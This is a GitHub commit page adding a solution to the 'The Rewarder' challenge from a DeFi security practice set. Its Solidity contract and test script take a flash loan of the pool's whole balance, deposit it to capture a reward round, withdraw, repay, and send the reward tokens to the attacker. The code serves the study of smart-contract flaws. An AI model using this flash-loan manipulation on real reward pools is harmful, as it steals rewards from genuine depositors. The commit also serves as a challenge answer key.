Skip to content

Commit

Permalink
Clear "The Rewarder" - theredguild#5
Browse files Browse the repository at this point in the history
  • Loading branch information
zhongeric committed Mar 19, 2022
1 parent 19373f0 commit 767e6f3
Show file tree
Hide file tree
Showing 2 changed files with 81 additions and 0 deletions.
66 changes: 66 additions & 0 deletions contracts/attacker-contracts/AttackRewarder.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";

interface IFlashLoanerPool {
function flashLoan(uint256 amount) external;
}

interface IRewarderPool {
function deposit(uint256 amountToDeposit) external;

function withdraw(uint256 amountToWithdraw) external;

function distributeRewards() external;
}

contract AttackRewarder {
using Address for address payable;
address payable public owner;

IERC20 public immutable DVTtoken;
IERC20 public immutable RWDtoken;

address payable private rewarderPool;
IRewarderPool public rewarderPoolInterface;

address payable private flashLoanerPool;
IFlashLoanerPool public flashLoanerPoolInterface;

constructor(
address DVTtokenAddress,
address RewardTokenAddress,
address payable flashLoanerPoolAddress,
address payable rewarderPoolAddress
) {
DVTtoken = IERC20(DVTtokenAddress);
RWDtoken = IERC20(RewardTokenAddress);

flashLoanerPool = flashLoanerPoolAddress;
flashLoanerPoolInterface = IFlashLoanerPool(flashLoanerPool);

rewarderPool = rewarderPoolAddress;
rewarderPoolInterface = IRewarderPool(rewarderPool);
owner = payable(msg.sender);
}

function receiveFlashLoan(uint256 amount) public {
// approve rewarderPoolInterface to spend this contracts DVT tokens
DVTtoken.approve(rewarderPool, amount);
// Deposit
rewarderPoolInterface.deposit(amount);
// Withdraw
rewarderPoolInterface.withdraw(amount);
// Repay to flashLoanerPool
DVTtoken.transfer(flashLoanerPool, amount);
}

function attack() public {
flashLoanerPoolInterface.flashLoan(DVTtoken.balanceOf(flashLoanerPool));
// // Send all reward tokens to owner
RWDtoken.transfer(owner, RWDtoken.balanceOf(address(this)));
}
}
15 changes: 15 additions & 0 deletions test/the-rewarder/the-rewarder.challenge.js
Original file line number Diff line number Diff line change
Expand Up @@ -66,6 +66,21 @@ describe('[Challenge] The rewarder', function () {

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */

// Since attacker has not called distributeRewards yet, we are currently at the start of the a new round
// so anything we deposit, we should be able to get rewards from, and withdraw -> payback flash loan
[deployer, alice, bob, charlie, david, attacker] = await ethers.getSigners();

// Attack flow: flashloan for entire pool amt (1000), implement execute on IFlashLoanEtherReceiver to deposit the borrowed amount (1000)
// Require check will pass, then withdraw 1000 from balances

const AttackFactory = await ethers.getContractFactory('AttackRewarder', attacker);
this.attackFactory = await AttackFactory.deploy(this.liquidityToken.address, this.rewardToken.address, this.flashLoanPool.address, this.rewarderPool.address);

await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
await this.attackFactory.connect(attacker).attack();

console.log("Attacker RWD balance: ", ethers.utils.formatEther(await this.rewardToken.balanceOf(attacker.address)));
});

after(async function () {
Expand Down

0 comments on commit 767e6f3

Please sign in to comment.